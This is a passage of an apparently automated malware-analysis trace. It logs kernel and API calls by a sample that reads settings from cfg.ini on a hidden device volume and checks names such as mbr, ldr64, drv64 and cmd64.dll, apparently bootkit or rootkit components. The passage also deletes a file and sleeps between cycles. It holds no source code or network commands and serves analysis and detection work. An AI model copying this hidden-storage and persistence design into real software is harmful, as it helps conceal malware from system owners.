out: FastMutex=0xfffffa80027d3898) [0130.222] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.222] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.222] KeLeaveCriticalRegion () [0130.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.222] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.222] KeEnterCriticalRegion () [0130.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.222] ExFreePoolWithTag (P=0xfffffa800294cfb0, Tag=0x0) [0130.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.222] KeLeaveCriticalRegion () [0130.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.222] ReleaseMutex (hMutex=0xf0) returned 1 [0130.222] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.223] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.223] KeEnterCriticalRegion () [0130.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.223] IdePortDispatch () returned 0x103 [0130.223] KeWaitForMutexObject () returned 0x0 [0130.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.223] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.223] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.223] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.223] KeLeaveCriticalRegion () [0130.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.223] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.223] KeEnterCriticalRegion () [0130.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.223] KeLeaveCriticalRegion () [0130.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.223] KeEnterCriticalRegion () [0130.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.223] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.224] IdePortDispatch () returned 0x103 [0130.224] KeWaitForMutexObject () returned 0x0 [0130.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.224] KeLeaveCriticalRegion () [0130.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.224] KeEnterCriticalRegion () [0130.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d43000 [0130.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.224] IdePortDispatch () returned 0x103 [0130.224] KeWaitForMutexObject () returned 0x0 [0130.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.224] IdePortDispatch () returned 0x103 [0130.224] KeWaitForMutexObject () returned 0x0 [0130.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.225] KeLeaveCriticalRegion () [0130.225] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.225] KeEnterCriticalRegion () [0130.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.225] KeLeaveCriticalRegion () [0130.225] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.225] KeEnterCriticalRegion () [0130.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.225] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.225] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.225] KeLeaveCriticalRegion () [0130.225] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.226] KeEnterCriticalRegion () [0130.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.226] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.226] KeLeaveCriticalRegion () [0130.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.226] ReleaseMutex (hMutex=0xf0) returned 1 [0130.226] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.226] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.226] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.226] KeEnterCriticalRegion () [0130.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.226] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.226] IdePortDispatch () returned 0x103 [0130.226] KeWaitForMutexObject () returned 0x0 [0130.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.226] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.226] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.226] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.226] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.226] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845b50 [0130.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.226] KeLeaveCriticalRegion () [0130.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.226] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.226] KeEnterCriticalRegion () [0130.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.227] KeLeaveCriticalRegion () [0130.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.227] KeEnterCriticalRegion () [0130.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.227] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.227] IdePortDispatch () returned 0x103 [0130.227] KeWaitForMutexObject () returned 0x0 [0130.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.227] KeLeaveCriticalRegion () [0130.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.227] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.227] KeEnterCriticalRegion () [0130.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d44000 [0130.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.227] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.227] IdePortDispatch () returned 0x103 [0130.227] KeWaitForMutexObject () returned 0x0 [0130.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.228] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.228] IdePortDispatch () returned 0x103 [0130.228] KeWaitForMutexObject () returned 0x0 [0130.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.228] KeLeaveCriticalRegion () [0130.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.228] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.228] KeEnterCriticalRegion () [0130.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.228] KeLeaveCriticalRegion () [0130.228] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.229] KeEnterCriticalRegion () [0130.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.229] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.229] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.229] KeLeaveCriticalRegion () [0130.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.229] KeEnterCriticalRegion () [0130.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.229] ExFreePoolWithTag (P=0xfffffa8002845b50, Tag=0x0) [0130.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.229] KeLeaveCriticalRegion () [0130.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.229] ReleaseMutex (hMutex=0xf0) returned 1 [0130.229] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.229] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.229] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.229] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.229] KeEnterCriticalRegion () [0130.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.229] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.229] IdePortDispatch () returned 0x103 [0130.229] KeWaitForMutexObject () returned 0x0 [0130.229] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.229] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.229] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.229] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.229] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.230] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.230] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.230] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.230] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.230] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.230] KeLeaveCriticalRegion () [0130.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.230] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.230] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.230] KeEnterCriticalRegion () [0130.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.230] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.230] IdePortDispatch () returned 0x103 [0130.230] KeWaitForMutexObject () returned 0x0 [0130.230] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.230] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.230] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.230] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.230] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.230] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.230] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.230] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.230] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.230] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.230] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.231] KeLeaveCriticalRegion () [0130.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.231] ReleaseMutex (hMutex=0x100) returned 1 [0130.231] Sleep (dwMilliseconds=0x2bf20) [0130.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70d3cfb0, dwHighDateTime=0x1d24fa4)) [0130.238] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.238] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.238] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.238] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.238] KeEnterCriticalRegion () [0130.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.238] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.238] IdePortDispatch () returned 0x103 [0130.238] KeWaitForMutexObject () returned 0x0 [0130.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.238] KeLeaveCriticalRegion () [0130.238] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.239] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.239] KeEnterCriticalRegion () [0130.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.239] KeLeaveCriticalRegion () [0130.239] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.239] KeEnterCriticalRegion () [0130.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.239] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.239] IdePortDispatch () returned 0x103 [0130.239] KeWaitForMutexObject () returned 0x0 [0130.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) 